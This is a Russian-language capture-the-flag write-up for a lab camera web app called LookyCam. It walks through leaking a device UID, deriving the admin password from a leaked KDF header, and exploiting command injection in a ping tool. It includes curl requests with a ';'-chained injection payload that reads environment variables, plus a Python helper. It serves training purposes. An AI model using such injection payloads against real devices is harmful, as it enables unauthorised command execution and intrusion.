# Writeup: LookyCam (camera) Ниже — ожидаемый путь решения: добыть UID, вычислить пароль администратора по подсказанной KDF, получить RCE через ping и собрать финальный ключ. ## Шаги решения 1. PWD_PART_A -получили из стеги в хранилище 1. Открыть `/login` и получить `CAMERA_UID`. Он приходит в заголовке `X-Device-Id` и дублируется на странице. 2. Сымитировать 3 неудачных логина. После третьей попытки сервер вернёт заголовок `X-Password-KDF` с формулой: `sha1(part + ":" + uid)[0:10]`. 3. Подставить известную часть `partA` и посчитать пароль: `password = sha1(partA:uid)[:10]`. 4. Войти в `/admin` под `admin` с этим паролем и получить сессию. 5. В `/admin/tools/ping` есть command injection: значение `host` без фильтрации попадает в `sh -lc "ping ... ${host}"`. Через `;` можно выполнить произвольные команды и прочитать переменные окружения: `127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C` 6. Из ответа взять `PWD_PART_C` и флаг RCE. 7. Посчитать ключ для `/admin/redeem`: `key = sha1(partA:partC:uid)[:16]`. 8. Отправить ключ в `/admin/redeem` и получить финальный флаг. ## Примеры запросов ```bash # 1) UID curl -i http:///login # 2) 3 фейл-логина, смотрим X-Password-KDF в ответе curl -i -d "username=admin&password=bad" http:///login # 3) Логин с правильным паролем curl -i -c cookies.txt -d "username=admin&password=" http:///login # 4) Инъекция в ping curl -i -b cookies.txt -d "host=127.0.0.1; echo RCE:\$CAMERA_RCE_FLAG; echo PARTC:\$PWD_PART_C" \ http:///admin/tools/ping # 5) Редим финального флага curl -i -b cookies.txt -d "key=" http:///admin/redeem ``` ```python import hashlib def sha1(x: str) -> str: return hashlib.sha1(x.encode()).hexdigest() uid = "LCAM-9f31" part_a = "..." part_c = "..." password = sha1(f"{part_a}:{uid}")[:10] key = sha1(f"{part_a}:{part_c}:{uid}")[:16] print(password, key) ```